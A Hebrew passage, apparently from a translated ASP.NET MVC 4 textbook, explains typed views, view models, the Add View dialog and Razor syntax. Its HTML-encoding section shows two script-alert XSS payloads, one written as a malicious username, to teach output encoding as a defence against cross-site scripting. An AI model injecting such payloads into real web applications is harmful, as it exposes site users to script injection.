.  שמאפשר לספק לתצוגה אובייקט מודל ספציפיModel נוסף בשם לו מאפייןיש , מכיוון שכך

כך אפשר לציין בתצוגות באופן . וגהמאוד נוח להשתמש בו להעברת מחלקה ספציפית לתצ
וכך ליהנות מכל , מפורש מי היא המחלקה שהתצוגה מצפה לקבל ממנה את אובייקט המודל

 . היתרונות של טיפוסיות חזקה

 :Viewאפשר לציין את המודל באמצעות העמסה של השיטה , Controllerבשיטה 

public ActionResult List() { 

 var albums = new List<Album>(); 

 for(int i = 0; i < 10; i++) { 

  albums.Add(new Album {Title = "Product " + i}); 

 } 

 return View(albums); 

} 

 לפי הערך שמועבר לשיטת ViewData.Modelפעולה זו גורמת לקביעת ערך המאפיין , ברקע
View .בשלב הבא עלינו להעביר לתצוגה את סוג המודל שמשתמש בהצהרת @model . שימו

מרחב השמות עם שם (לב שאתם עשויים להידרש לספק את שם הטיפוס התקני המלא 
 . של טיפוס המודל) namespace, הטיפוס

@model IEnumerable<MvcApplication1.Models.Album> 

<ul> 

@foreach (Album p in Model){ 

 <li>@p.Title</li> 

} 

</ul> 

 . using@ תוכלו להשתמש בהצהרה, התקני המלא של המודלכדי להימנע מציון שם הטיפוס 

@using MvcApplication1.Models 

@model IEnumerable<Album> 
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<ul> 

@foreach (Album p in Model){ 

 <li>@p.Title</li> 

} 

</ul> 

אפשרות טובה , אם אתם משתמשים לעתים קרובות בתצוגות שלכם במרחבי שמות מסוימים
 . Views שבתיקייה web.config על מרחבי השמות הללו בקובץ יותר היא להכריז

@using MvcApplication1.Models 

<system.web.webPages.razor> 

… 

 <pages pageBaseType="System.Web.Mvc.WebViewPage"> 

  <namespaces> 

   <add namespace="System.Web.Mvc" /> 

   <add namespace="System.Web.Mvc.Ajax" /> 

   <add namespace="System.Web.Mvc.Html" /> 

   <add namespace="System.Web.Routing" /> 

 

   <add namespace="MvcApplication1.Models" /> 

  </namespaces> 

 </pages> 

</system.web.webPages.razor> 

 נהת התוכחבילהתקינו את , אות האחרונות בפעולהכדי לראות את שתי הדוגמ
Wrox.ProMvc4.Views.AlbumList בפרויקט ASP.NET MVC 4 חדש באמצעות NuGet ,הנה כך: 

Install-Package Wrox.ProMvc4.Views.AlbumList 

 - ואת קוד הבקר Views\Albums\תיקייה תצוגות לדוגמה אל הפעולה זו תגרום להוספת שתי ה
הקלידו בשורת  .להריץ את הפרויקט כדי Ctrl+F5הקישו . Samples\AlbumList\אל התיקייה 

 כדי לראות את albums/liststronglytyped/ ואת albums/listweaklytyped/  את הנתיבURL-ה
 . תוצאת הקוד

 מודלי תצוגות
לעתים קרובות תצוגות נדרשות להציג מגוון נתונים שאינם ממופים ישירות למודל תחום 

. ול תצוגה שמטרתה להציג פרטים של מוצרהיישום שלכם עשוי לכל, לדוגמה. נתונים אחד
כמו , אותה תצוגה צריכה גם להעביר למשתמש מידע נלווה שאינו קשור ישירות למוצר, אבל

 . האם המשתמש רשאי לערוך את המוצר ועוד, למשל פרטי המשתמש המחובר

פתרון פשוט להצגת הנתונים הנלווים שאינם מהווים חלק מהמודל הראשי של התצוגה הוא 
אין ספק שזוהי דרך אפקטיבית וגמישה להראות . ViewBagלכלול את הנתונים הללו במאפיין 

 . נתונים בתצוגה
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ייתכן שתצטרכו לשלוט בצורה ישירה בנתונים . אבל הדרך הזו אינה מתאימה לכל מצב
וכך לאפשר למפתחי התצוגה , שמועברים לתצוגה ולהגדיר כל אחד מהם לפי סוג טיפוס קיים

 . IntelliSenseמהיתרונות של ליהנות 

אתם יכולים לחשוב ). view model(פתרון אפשרי לסוגיה זו הינו לכתוב מחלקת מודל תצוגה 
שימו לב שהמונח . על מודל תצוגה בתור מודל שתפקידו היחיד הוא לספק מידע על התצוגה

 MVVM) Model Viewבהקשר זה שונה מהרעיון של מודל תצוגה בתבנית " מודל תצוגה"

ViewModel .( מודל ייעודי לתצוגה"לפיכך כדאי להשתמש במונח ." 

 המשמש להצגה של רשימת ,נניח שהיישום שלכם כולל דף תכולה של עגלת קניות, לדוגמה
במקרה כזה תוכלו ליצור את המחלקה . העלות הכוללת שלהם והודעה למשתמש, מוצרים

ShoppingCartViewModelשלהלן : 
public class ShoppingCartViewModel { 

 public IEnumerable<Product> Products { get; set; } 

 public decimal CartTotal { get; set; } 

 public string Message { get; set; } 

} 

 : הבאהmodel@כעת אפשר לקבוע סוג טיפוס זה כמודל לתצוגה באמצעות הנחיית 

@model ShoppingCartViewModel 

, כולל בדיקת סוג טיפוס( זו תוכלו ליהנות מהיתרונות של תצוגה בעלת טיפוסיות חזקה בצורה
IntelliSense , והימנעות מהצורך לבצע המרה של אובייקטיViewDataDictionaryחסרי טיפוס ( ,

 . Modelמבלי שיהיה צורך לבצע שינויים במחלקות 

ינו את הפקודה הבאה במנהל הז, כדי להריץ את הדוגמה של מודל תצוגת עגלת הקניות
 : NuGetהחבילות 

Install-Package Wrox.ProMvc4.Views.ViewModel 

בסעיפים הבאים נציג מספר נושאים הרלוונטיים למודלים לא פחות משהם רלוונטיים 
 . ובפרק הבא נעסוק במודלים ביתר פירוט, לתצוגות

 הוספת תצוגה
הבה נראה , אולם. ר לתצוגה מוגדרת כלשהילמדנו כיצד לקשר בק"  לתצוגההפניה"בסעיף 

כמובן שניתן ליצור קובץ באופן ידני ולהוסיף אותו לתיקיית ? כיצד נוצרות התצוגות הללו
 Visual Studio בסביבת הפיתוח ASP.NET MVCאולם באמצעות אוסף הכלים של , התצוגות

 . Add Viewשיח - הדותוכלו להוסיף תצוגות בצורה הרבה יותר פשוטה ומהירה באמצעות תיבת

 Add Viewשיח -האפשרויות של תיבת הדו

 היא על ידי לחיצה ימנית על שיטת Add Viewשיח -הדרך הקלה ביותר לפתוח את תיבת הדו
ולאחר מכן , Editבדוגמה הבאה נוסיף שיטת פעולה חדשה בשם ). action method(פעולה 
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-נוסיף ל, תחילה. Add Viewיח ש-ניצור תצוגה עבור הפעולה הזו באמצעות תיבת הדו
HomeController את שיטת הפעולה Editאשר מכילה את הקוד שלהלן  : 

public ActionResult Edit() 

{ 

 return View(); 

} 

 באמצעות לחיצה ימנית על שיטת הפעולה ובחירת Add Viewשיח -נפתח את תיבת הדו, כעת
Add View 3-2תרשים ( מתפריט הקיצור .( 

 

 3-2ם תרשי

 .3-3כמוצג בתרשים , Add Viewשיח -על המסך תופיע תיבת הדו

 

 3-3תרשים 
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 : שיח-להלן פירוט של השדות והאפשרויות השונות של תיבת הדו

 View name :שיח מתוך תפריט הקיצור של שיטת -כאשר פותחים את תיבת הדו
 שם התצוגה . נקבע באופן אוטומטי על פי השם של שיטת הפעולהשם התצוגה, פעולה

 . הינו שדה חובה

 View engine :החל . תצוגהמנוע שיח משמשת לבחירת -האפשרות השנייה בתיבת הדו
.  תומכת במנועי תצוגה שוניםAdd Viewשיח -תיבת הדו, ASP.NET MVC 3מגרסת 

שיח -תיבת הדו, על פי ברירת מחדל. נרחיב את הדיון במנועים הזמינים בהמשך הפרק
ניתן להוסיף לרשימה הנפתחת מנועי תצוגה . ASPX- וRazor,  תצוגהכוללת שני מנועי

 . שלישי-של צד

 Create a strongly-typed view : יצירת תצוגה בעלת תיבת הסימון ) סימון(בחירת
רשימת הטיפוסים ברשימה . מאפשרת להקליד או לבחור מחלקת מודלטיפוסיות חזקה 

שסוקר את אובייקטי המודל הזמינים  (reflectionהנפתחת נקבעת באמצעות מנגנון 
הַקפידו להדר את הפרויקט לפחות פעם אחת לפני , מכיוון שכך). לפרויקט ומציג אותם
 . בחירת טיפוס מודל

 Scaffold template :תבנית אפשר לבחור , לאחר בחירת הטיפוסScaffold . התשתית
 באופן אוטומטי על  כדי לחולל תצוגותVisual Studio T4משתמשת במערכת התבניות 

 : 3-1כמפורט בטבלה , הנבחרת Scaffoldפי תבנית 

 Scaffold templateסוגים של : 3-1טבלה 

תבנית 

scaffolding 

 תיאור

Empty  הקוד היחיד הוא ציון של טיפוס המודל הנבחר . תצוגה ריקהיצירת
 . model@באמצעות תחביר 

Create  בייקט חדש של המודל אוליצירתיצירת תצוגה עם טופס שמשמש .
התצוגה מפיקה תווית ושדה קלט עבור כל אחד מהמאפיינים של טיפוס 

 . המודל

Delete  אובייקט קיים מסוג המודללמחיקתיצירת תצוגה עם טופס שמשמש  .
 . התצוגה מפיקה תווית וערך נוכחי לכל אחד ממאפייני המודל

Details  כחי לכל אחד מהמאפיינים  תווית וערך נולהצגתיצירת תצוגה שמשמשת
 .של טיפוס המודל

Edit  אובייקט קיים של המודללעריכתיצירת תצוגה עם טופס שמשמש  .
התצוגה מפיקה תווית ושדה קלט עבור כל אחד מהמאפיינים של טיפוס 

 . המודל
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List  התצוגה מפיקה . המודל מסוגאובייקטים טבלה של יצירת תצוגה עם
הקפידו להעביר טיפוס מסוג .  טיפוס המודלעמודה לכל אחד ממאפייני
IEnumerable<ModelType>התצוגה .  לתצוגה דרך שיטת הפעולה שלכם

 .מחיקה/עריכה/מכילה גם קישורים לביצוע פעולות יצירה

 Reference script libraries : על ידי אפשרות זו מציינים אם התצוגה שתיווצר תכלול
על פי ברירת . כאשר אופי התצוגה מצריך זאת JavaScriptהפניות למערך של קבצי 

אך אינו מפנה לספרייה ,  הראשיתjQuery מפנה לספריית Layout.cshtml_הקובץ , מחדל
jQuery Validation  או לספרייה Unobtrusive jQuery Validation . 

, Create או תצוגת Editכגון תצוגת , בעת יצירת תצוגה שכוללת טופס הזנת נתונים
ספריות אלו . ימון אפשרות זו מבטיח שהתצוגה שתיווצר תפנה לספריות הנחוצותס

אין שום חשיבות לתיבת , בכל שאר המקרים. הלקוח-חיוניות ליישום האימות בצד
 . הסימון הזו

ההתנהגות של תיבת , ומנועי תצוגה אחריםברירת המחדל  scaffoldingבתבניות  הערה
 .  המסוימתT4תבנית על ידי היא מוכתבת כי , הסימון הזו עשויה להשתנות

 Create as a partial view : תצוגה ליצור בחרו באפשרות זו כדי לציין שברצונכם
). Layout(ולפיכך אין צורך להפנות אל מערך הפריסה הקיים , ולא תצוגה מלאה, חלקית

 כמו התצוגה שתיווצר תֵירָאה כמעט בדיוק, Razorאם אתם משתמשים במנוע התצוגה 
 <head> התגית ו <html> תתגיהשמטת הההבדל היחיד הוא כאשר , תצוגה רגילה
 . בראש התצוגה

 Use a layout or master page : תיבת סימון זו מאפשרת לציין אם התצוגה שתיצרו
אם אתם . או שתהיה תצוגה עצמאית לחלוטין, )אבאו בדף (תשתמש במערך פריסה 

, ה מבוססת על מערך הפריסה לפי ברירת המחדלוהתצוג, Razorמשתמשים במנוע 
בקובץ קיימת כבר  הפניה, במקרה זה. אינכם צריכים להפנות למערך הפריסה

_ViewStart.cshtml .תוכלו להשתמש באפשרות זו אם ברצונכם לעקוף את , עם זאת
 . קביעת ברירת המחדל

  edScaffoldתצוגות התאמה אישית של 

 באמצעות ותמופק scaffoldedתצוגות , דות במהלך סעיף זהכפי שהזכרנו כבר פעמים אח
. או להוסיף תבניות חדשות, ניתן להתאים באופן אישי את התבניות הקיימות. T4תבניות 

 ". נושאים מתקדמים", 15לפרטים נוספים ראו פרק 

.  מתגלים בעת עבודה עם מודליםAdd Viewשיח -ההיבטים המעניינים באמת של תיבת הדו
אשר מסביר צעד אחר צעד כיצד לבנות מודלים , 4 את ההבטים הללו לעומקם בפרק נכיר

 . השונים שזה עתה הצגנו scaffoldedתצוגות וליצור תצוגות על בסיס 
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  Razorמנוע התצוגה 
וגם למדנו כיצד , בשני הסעיפים הקודמים ראינו כיצד להפנות אל התצוגה מתוך הבקר

תשתית . לנו להבין את התחביר שמשמש לכתיבת התצוגותכעת נותר . להוסיף תצוגה חדשה
ASP.NET MVCמנוע התצוגה החדש :  תומכת בשני מנועי תצוגהRazor , ומנוע התצוגה הוותיק

מערך , Razorאשר כולל את תחביר , Razorסעיף זה יעסוק במנוע התצוגה . Web Formsשל 
 . תצוגות חלקיות ועוד, פריסה

 ? Razorמה זה 

וכיום הינו מנוע , ASP.NET MVC 3 פורסם לראשונה בגרסת התוכנה Razorוגה מנוע התצ
. Web Forms ולא נעסוק במנוע התצוגה של Razor-בפרק זה נתמקד ב. ברירת המחדל המקובל

 נותן מענה לאחת הבקשות הנפוצות ביותר שהופנו לצוות הפיתוח של Razorמנוע התצוגה 
ASP.NET MVC -של " הקשקושים התחביריים"ללא כל ,  משקל ופשוטקל,  מנוע תצוגה נקי

מפתחים רבים הרגישו שהרעשים התחביריים שהיו . Web Formsמנוע התצוגה הקיים של 
. כרוכים בכתיבת תצוגה יצרו חיכוך רב וגם בעייתי כאשר היה צורך לקרוא את התצוגה הזו

 . Razorגה  עם הצגת מנוע התצוASP.NET MVC 3הבקשה הזו זכתה למענה בגרסה 

 מספק תחביר זורם ושוטף להבעת תצוגות אשר מביא לצמצום משמעותי בנפח Razorמנוע 
הוא אינו מפריע לתהליך כתיבת הקוד ואינו כופה על . הוראות התחביר והתווים הנדרשים לו

מפתחים רבים שכתבו תצוגות . המשתמש תחביר שחוצץ בינו לבין תגיות התצוגה שלו
, מקצות אצבעותיהם" נשפך"רים שהרגישו כאילו קוד התצוגה פשוט  מספRazorבאמצעות 

החוויה הזו מועצמת הודות לתמיכת . וכאילו המחשבות שלהם מתמזגות עם המקלדת
IntelliSenseאשר קיימת עבור תחביר ,  המשובחתRazor בסביבת Visual Studio . 

 Razorההיסטוריה של 

 בניסיון לשמר את Dmitry Robsman ידי טיפוס שפותח על- הינו אבRazorהמקור של 
מיקוד (לספק מודל פיתוח פשוט יותר  -ובמקביל , ASP.NET MVCהתכונות הטובות של גישת 

 9תוכנית "אימה /ב"על שם סרט המד, Plan9נקרא  Robsmanאב הטיפוס של ). בדף יחיד
אבל עובדה ,  ונחשב לאחד הסרטים הגרועים בכל הזמנים1959שהופק בשנת " מהחלל החיצון

 ... שזה לא הפריע כאן

שהייתה תשתית זמן  (ASP.NET Web Pages הוחלפה בתוכנה Plan9התוכנה , מאוחר יותר
, היא סיפקה סגנון פיתוח אינטרנטי משולב פשוט ביותר). Web Matrixהריצה הסטנדרטית של 

. Razorופעלה באמצעות תחביר ,  הקלאסיASP או את PHPאשר מזכיר מאוד באופיו את 
 בהקשר של Plan9 עדיין משתמשים בשיחות פנימיות בשם ASP.NETחברים רבים בצוות 

. Razor אימצה גם היא את תחביר ASP.NET MVCתשתית , בגרסתה השלישית. הטכנולוגיה הזו
 אך החליטו ASP.NET Web Pagesהייתה זו סגירת מעגל נחמדה למפתחים שהתחילו עם 

 . ASP.NET MVC -לעבור ל
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אשר מאפשרות למנוע לספק מעברים חלקים ,  טמון בהבנה של מבנה התגיותRazorהסוד של 
נבחן מספר , כדי לסייע בהבנת הכוונה של המשפט האחרון. ככל הניתן בין קוד לבין תגיות

אשר כוללת מקטע קצר של לוגיקת ,  פשוטהRazorהדוגמה שלהלן כוללת תצוגת . דוגמאות
 :התצוגה

@{ 

// this is a block of code. For demonstration purposes, 

// we'll create a "model" inline. 

var items = new string[] {"one", "two", "three"}; 

} 

<html> 

<head><title>Sample View</title></head> 

<body> 

 <h1>Listing @items.Length items.</h1> 

 <ul> 

 @foreach(var item in items) { 

  <li>The item name is @item.</li> 

 } 

 </ul> 

</body> 

</html> 

 אשר Razorתצוגות ; cshtml.ולכן הקובץ נושא סיומת , #Cשתמש בשפת התכנות בדוגמה זו נ
, סיומות הקובץ הללו חשובות. vbhtml.נושאות סיומת קובץ  Visual Basicכתובות בשפת 

 .  לדעת באיזו שפה כתוב הקודRazorל מכיוון שהן מאפשרות למעבד התחביר ש

 אל תחשבו יותר מדי

העצה הטובה ביותר שאני יכול לתת לכם היא לזכור , Razorלפני שנעבור למכניקה של תחביר 
 Razorרוב הזמן תחביר , למעשה.  נועד לספק תחביר פשוט ואינטואיטיביRazorשהעיצוב של 

בכל פעם שאתם רוצים @  והקישו על HTML פשוט הקלידו -בכלל לא אמור להעסיק אתכם 
 . לשלב קוד

 ביטויי קוד

תו בודד זה משמש למעבר מתגיות ). @( הינו סמל שטרודל Razorתו המעבר העיקרי בתחביר 
ובלוקי ביטויי קוד : ישנם שני סוגים בסיסיים של מעברים. ולפעמים גם למעבר בחזרה, לקוד
 . הביטויים מעובדים ונכתבים לתגובה. קוד

 :הנה דוגמה
<h1>Listing @stuff.Length items.</h1> 
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שימו לב שלא סימנו . מוצגת בפלט, 3, מעובד כביטוי קוד והתוצאה stuff.length@הביטוי 
אשר , Web Formsאילו היינו רוצים לכתוב ביטוי מקביל בתצוגת . היכן ביטוי הקוד מסתיים

 :זה היה נראה כך, תומכת בביטויים מפורשים בלבד
<h1>Listing <%: stuff.Length %> items.</h1> 

ולכן ,  חכם מספיק בשביל להבין שהרווח שלאחר הביטוי אינו סימון חוקיRazorמנוע התצוגה 
 . הוא חוזר לתגיות באופן אוטומטי

 Razorאז איך .  תו קוד חוקיכן הוא item@התו שלאחר ביטוי הקוד  <li>אלמנט ב, מצד שני
 Razor, ובכן?  למאפיין או לשיטה של הביטוי הנוכחיהפניההביטוי אינה יודע שהנקודה אחרי 
הוא חוזר למצב , ומכיוון שבמדובר בסוגר משולש אשר אינו סימון חוקי, בודק את התו הבא

 :הפריט הראשון ברשימה ימומש כך, לכן. תגיות
<li>The item name is one.</li> 

, וד אל תגיות היא אחת מתכונותיו החזקות ביותר לחזור באופן אוטומטי מקRazorהיכולת של 
חשש טבעי ומובן הוא היווצרות של , עם זאת. והרכיב הסודי ליצירת תחביר קומפקטי ונקי

 : קחו לדוגמה את הקטע הבא. משמעי-תחביר דו
@{ 

 string rootNamespace = "MyApp"; 

} 

<span>@rootNamespace.Models</span> 

 :קבל את הפלט הבאבמקרה הזה קיווינו ל
<span>MyApp.Models</span> 

זהו . Modelsקיבלנו הודעת שגיאה שאומרת שלמחרוזות אין מאפיין בשם , אולם במקום זאת
 -והתייחס ל,  לא הבין את כוונתנו המקוריתRazorאכן מקרה קצה שבו מנוע 

@rootNamespace.Modelsלמרבה המזל.  כביטוי קוד ,Razor קוד מפורשים  תומך גם בביטוי
 : שמוצהרים על ידי כריכתם בסוגריים

<span>@(rootNamespace).Models</span> 

 . הינו טקסט מילולי ואינו חלק מביטוי הקוד, Model.-למנוע התצוגה שניתן להורות בצורה כזו 

קחו לדוגמה את כתובת הדואר . תרחיש בעייתי נוסף הוא הצגה של כתובות דואר אלקטרוני
 : הבאההאלקטרוני

<span>support@megacorp.com</span> 

 נראה כמו ביטוי megacorp.com@ מכיוון שהחלק ,ותשהדבר יגרום לטעבמבט ראשון נראה 
 Razorמנוע , למזלנו. megacorp של המשתנה comקוד חוקי שמטרתו להדפיס את המאפיין 

להשאיר את הביטוי מספיק חכם כדי לזהות את התבנית הכללית של כתובת דואר אלקטרוני ו
 . הזה כפי שהוא
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משתמש באלגוריתם מאוד פשוט כדי לקבוע אם משהו נראה כמו כתובת  Razorמנוע  הערה
, עם זאת. אבל הוא מטפל כראוי ברוב המקרים, הוא לא אמור להיות מושלם. דואר אלקטרוני

ו לנטרל את במקרים אלה תמיד תוכל. יש כתובות דואר אלקטרוני חוקיות שלא יזוהו ככאלו
 . @@באמצעות הסימון הכפול @ הסמל 

לעתים עשוי לקרות מקרה הפוך שבו ביטוי קוד שרשמנו יפורש על ידי מנוע , למרות זאת
Razorמה , אם נחזור לפעולה הקודמת שביצעו בסעיף זה, לדוגמה.  ככתובת דואר אלקטרוני

 :היה קורה אילו הרשימה כללה את הפריטים הבאים
<li>Item_@item.Length</li> 

 Razorולכן , במקרה המסוים הזה נראה שהביטוי תואם לתבנית של כתובת דואר אלקטרוני
 : כאשר המשתמש מצפה לפלט הבא, ידפיס אותו כפלט טקסט

<li>Item_3</li> 

בהירות בתחביר -בכל מקרה של חוסר. ההבנה באמצעות סוגריים-גם הפעם נתגבר על אי
Razor ,יש למשתמש כלים . ריים כדי להצהיר על הכוונה באופן מפורשניתן להשתמש בסוג

 . לשליטה מלאה
<li>Item_@(item.Length)</li> 

אפשרות זאת שימושית במיוחד . @@באמצעות הסימון @ אפשר לנטרל את סמל , כפי שנאמר
 :@אשר לפניהם מקובל להוסיף סמל , Twitterכאשר צריך להציג שמות משתמש ברשת 

<p> 

 You should follow 

 @haacked, @jongalloway, @bradwilson, @odetocode 

</p> 

המרומזים הללו " ביטוי הקוד" ינסה לפרש את Razor, אם תכתבו את המלל כמו שנכתב לעיל
עשו זאת @, בכל פעם שאתם צריכים לנטרל את המשמעות המיוחדת של סמל . יכשליו

 : חרונההנה תיקון של הדוגמה הא. @@באמצעות סימון 
<p> 

 You should follow 

 @@haacked, @@jongalloway, @@bradwilson, @@odetocode 

</p> 

והם עשויים לא , רק לעתים נדירות תצטרכו להשתמש בסוגריים וברצף נטרול, למרבה המזל
אתם יכולים להיות , בכל מקרה. להידרש בכלל אפילו כשמדובר ביישומים גדולים מאוד

ושלא תצטרכו להילחם כדי ,  עוצב מתוך שאיפה לתמציתיותRazorתצוגה בטוחים שמנוע ה
 . ובצורה שאתם רוצים, לקבל את מה שאתם רוצים

 HTMLקידוד 

כמו למשל תגובה , בשל ריבוי התרחישים שבהם התצוגה מיועדת להצגת קלט מהמשתמש
בנושא זה נדון . XSS) cross-site script injectionמתקפת האיום של , ביקורת על מוצרלבלוג או 
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 עוברים קידוד Razorהחדשות הטובות הן שביטויי . הינו מוחשי ביותר) 7בהרחבה בפרק 
HTMLאוטומטי  . 

@{ 

 string message = "<script>alert('haacked!');</script>"; 

} 

<span>@message</span> 

 : ודדות המקHTMLאלא למימוש שורות , קוד זה לא יגרום להקפצת חלון התראה

<span>&lt;script&gt;alert(&#39;haacked!&#39;);&lt;/script&gt;</span> 

תוכלו להחזיר מופע של המחלקה מסוג  , HTMLאם ברצונכם להציג תגיות , עם זאת
System.Web.IhtmlString , ואז מנועRazorכל סייעי התצוגה , לדוגמה.  לא יקודד אותה)view 

helpers (רוציםמכיוון שהם , יף מחזירים מופעים של הממשק הזהשנציג בהמשך הסע 
 או HtmlString של מופע של המחלקהתם יכולים ליצור א.  תמומשנה לדףHTMLשהתגיות 
 :Html.Rawבשיטה להשתמש 

@{ 

 string message = "<strong>This is bold!</strong>"; 

} 

<span>@Html.Raw(message)</span> 

 :HTML להודעה להופיע ללא קידוד בצורה כזו ניתן לגרום

<span><strong>This is bold!</strong></span> 

 על ידי קידוד קלט XSS אוטומטי הינו אמצעי מצוין לצמצום הפגיעות למתקפות HTMLקידוד 
אבל לא די בכך להצגת קלט מהמשתמש בתוך , HTMLמהמשתמש שמיועד להצגה בתור 

JavaScript .לדוגמה: 
<script type="text/javascript"> 

 $(function () { 

  var message = 'Hello @ViewBag.Username'; 

  $("#message").html(message).show('slow'); 

 }); 

</script> 

משתמש - מחרוזת שכוללת שםmessage בשם JavaScriptמוצבת במשתנה , בקטע קוד זה
 . Razor ביטוי שם המשתמש מתקבל דרך. שמוזן על ידי המשתמש עצמו

בעל הזיהוי  DOMלאלמנט  HTMLהודעה זו מועברת בתור , jQuery של HTMLבאמצעות שיטת 
)ID ("message." למרות ששם המשתמש הינו HTMLהיישום ,  שמקודד במחרוזת ההודעה

אם התוקף יעביר את המחרוזת שלהלן כשם המשתמש , לדוגמה. XSSעדיין חשוף למתקפת 
 : ל יהיה תגית תסריט שתיקרא כך שיתקבHTML-ה, שלו

\x3cscript\x3e%20alert(\x27pwnd\x27)%20\x3c/script\x3e 

חשוב להשתמש בקידוד , JavaScriptבעת הצבת ערכים שמתקבלים מהמשתמש במשתני 
 . HTML ולא להסתפק בקידוד JavaScriptמחרוזות 
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הנה שוב הקוד . קלט כדי לקודד את הAjax.JavaScriptStringEncode@השתמשו בביטוי 
 :XSSאך הפעם בתוספת אמצעי הגנה משופרים מפני התקפות , ממקודם

<script type="text/javascript"> 

 $(function () { 

  var message = 'Hello @Ajax.JavaScriptStringEncode(ViewBag.Username)'; 

  $("#message").html(message).show('slow'); 

 }); 

</script> 

 מבחינת JavaScript ושל קידוד HTMLחשוב מאוד להבין את ההשלכות של קידוד  הערה
נדון . אלא גם את המשתמשים בו, קידוד שגוי עלול לסכן לא רק את האתר שלכם. אבטחה

 . 7בסוגיות אלו בהרחבה בפרק 

 בלוקים של קוד

בוודאי זכורה לכם .  תומך גם בשילוב של בלוקים של קוד בתצוגהRazor, בנוסף לביטוי קוד
 :foreachהלולאה 

@foreach(var item in stuff) { 

 <li>The item name is @item.</li> 

} 

 .  עבור כל פריט במערך<li>בלוק הקוד הזה סורק מערך באמצעות לולאה ומציג אלמנט 

אשר מתבצע , foreachביטוי המעבר האוטומטי לתגיות בהדבר המעניין בביטוי הזה הוא 
הם מניחים באופן שגוי , כאשר אנשים בוחנים את בלוק הקוד הזה.  הפותחת<li>ית תגב

אבל הקוד השקול והחוקי שלהלן מוכיח , שהסיבה למעבר הזה היא פתיחת השורה החדשה
 : שלא כך הדבר

@foreach(var item in stuff) {<li>The item name is @item.</li>} 

הוא גם חוזר באופן אוטומטי אל הקוד , HTML של תגיות  מבין את המבנהRazorמכיוון שמנוע 
 . אין צורך לסמן בשום צורה את הסוגר המסולסל הימני, לפיכך.  הסוגרת<li>בתגית 

 Web Formsתחביר זה הרבה יותר נקי מהתחביר המקביל הנדרש על ידי מנוע התצוגה של 
 : גיותאשר מחייב לסמן בצורה מפורשת את המעברים בין הקוד לבין הת

<% foreach(var item in stuff) { %> 

 <li>The item name is <%: item %>.</li> 

<% } %> 

נצטרך , למשל. @בנוסף לסמל , בלוקים של קוד מסומנים באמצעות סוגריים מסולסלים
 : להשתמש בסוגריים מסולסלים אם לפנינו בלוק קוד עם מספר שורות

@{ 

 string s = "One line of code."; 

 ViewBag.Title "Another line of code"; 
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} 

דוגמה נוספת למצב שבו צריך להשתמש בסוגריים מסולסלים היא קריאה לשיטות שאינן 
 ): voidהערך המוחזר הוא (מחזירות ערך 

@{Html.RenderPartial("SomePartial");} 

 foreachמשל לולאות כמו ל, שימו לב שאין צורך להשתמש בסוגריים מסולסלים לביטויי בלוק
 .  ומתייחס בהתאם#C מזהה את מילות המפתח של Razorמכיוון שמנוע , ifוביטויי 

לצד השוואות לתחביר , Razor תמצאו פירוט תמציתי של כללי התחביר של בסעיף הבא
 . Web Formsהמקביל בסביבת 

 Razorדוגמאות לתחביר 

 על ידי השוואת ביצוע Razorתחביר בסעיף זה מוצגות דוגמאות שממחישות את השימוש ב
 Web לפעולות שקולות שמיושמות באמצעות תחביר Razorשל פעולות מסוימות באמצעות 

Forms . בתחביר של מוגדרכל דוגמה מייצגת היבט Razor . 

 ביטויי קוד מרומזים

להלן הדרך המקובלת להצגת ערך . ביטויי קוד מעובדים ונכתבים לתגובה, כפי שכבר ציינו
 ): view(בתצוגה 

Razor  <span>@model.Message</span> 

Web Forms  <span><%: model.Message %></span> 

שמוצג בטבלה  Web Formsגם תחביר . HTMLתמיד עוברים קידוד  Razorביטויי קוד בתחביר 
 .  באופן אוטומטיHTMLעובר קידוד 

 ביטויי קוד מפורשים

 :  הצגת ערך בתצוגה מתבצעת באופן הבאבדרך כלל. תגובהביטויי קוד מוערכים ונכתבים ל

Razor <span>ISBN@(isbn)</span> 

Web Forms <span>ISBN<%: isbn %></span> 

 ביטויי קוד לא מקודדים

 להשתמש  תוכלו.HTMLעליכם לממש ערך מסוים מבלי להעבירו קידוד , במקרים מסוימים
 . יקודד כדי לוודא שהערך לא Html.Rawבשיטה 

Razor <span>@Html.Raw(model.Message)</span> 

Web Forms <span><%: Html.Raw(model.Message) %></span> 

or 
<span><%= model.Message %></span> 
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 בלוק קוד

 מקטעים של קוד למעשהבלוקי קוד הם , בניגוד לביטויי קוד אשר מוערכים ומועברים לתגובה
 .בשלב מאוחר יותריהיה צורך בהם ם להכרזה על משתנים שייתכן שהם שימושיי. שמורצים

Razor @{ 

   int x = 123; 
   string y = ˝because.˝; 

} 

Web Forms <% 

   int x = 123; 
   string y = "because."; 

%> 

 שילוב טקסט ותגיות

 Razorחביר בדוגמה שלהלן ניתן לראות כיצד מתבצע שילוב של טקסט ותגיות באמצעות ת
 : Web Formsבהשוואה לתחביר 

Razor @foreach (var item in items) { 

   <span>Item @item.Name.</span> 

} 

Web Forms <% foreach (var item in items) { %> 

   <span>Item <%: item.Name %>.</span> 

<% } %> 

 שילוב של קוד וטקסט פשוט

לעתים נרצה , עם זאת. ת כדי לקבוע מתי לעבור מקוד לתגיות מחפש תגית פותחRazorמנוע 
בדוגמה הבאה אנחנו מציגים קוד , למשל. להוציא לפלט טקסט פשוט מיד לאחר בלוק קוד

 . פשוט בתוך בלוק תנאי

Razor @if (showMessage) { 

   <text>This is plain text</text> 
} 
or 
@if (showMessage) { 
   @:This is plain text. 

} 

Web Forms <% if (showMessage) { %> 

   This is plain text. 

<% } %> 

הדרך הראשונה היא .  מאפשר לעשות זאת בשתי דרכים שונותRazorשימו לב שמנוע 
אלא רק הטקסט , התגית עצמה אינה נכתבת בתגובה. <text>המיוחדת בתגית להשתמש 

כדי לעבור : מכיוון שהמבנה שלה יותר הגיוני בעיניי, אני מעדיף את הגישה הזו. שהיא מכילה
 . אשתמש בתגית, מקוד לתגיות
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אשר מיישמת תחביר מיוחד לביצוע החזרה מקוד אל , אחרים מעדיפים את הגישה השנייה
 . אך גישה זו טובה רק לשורה אחת של קוד פשוט, טקסט פשוט

 נטרול סימון הקוד

על ידי , בתור טקסט@ ניתן להציג את התו , רקכפי שכבר הראינו בחלקו הקודם של הפ
 . HTMLתמיד ניתן להשתמש גם בקידוד , עם זאת. @@קידודו באמצעות סימון 

Razor My Twitter Handle is &#64;haacked 

or
My Twitter Handle is @@haacked 

Web Forms &lt;% expression %&gt; marks a code nugget. 

 שרת-הערות צד

 : מספק תחביר נוח להפיכת בלוק של קוד ותגיות להערהRazorוע מנ

Razor @* 

This is a multiline server side comment. 
@if (showMessage) { 
   <h1>@ViewBag.Message</h1> 
} 
All of this is commented out. 

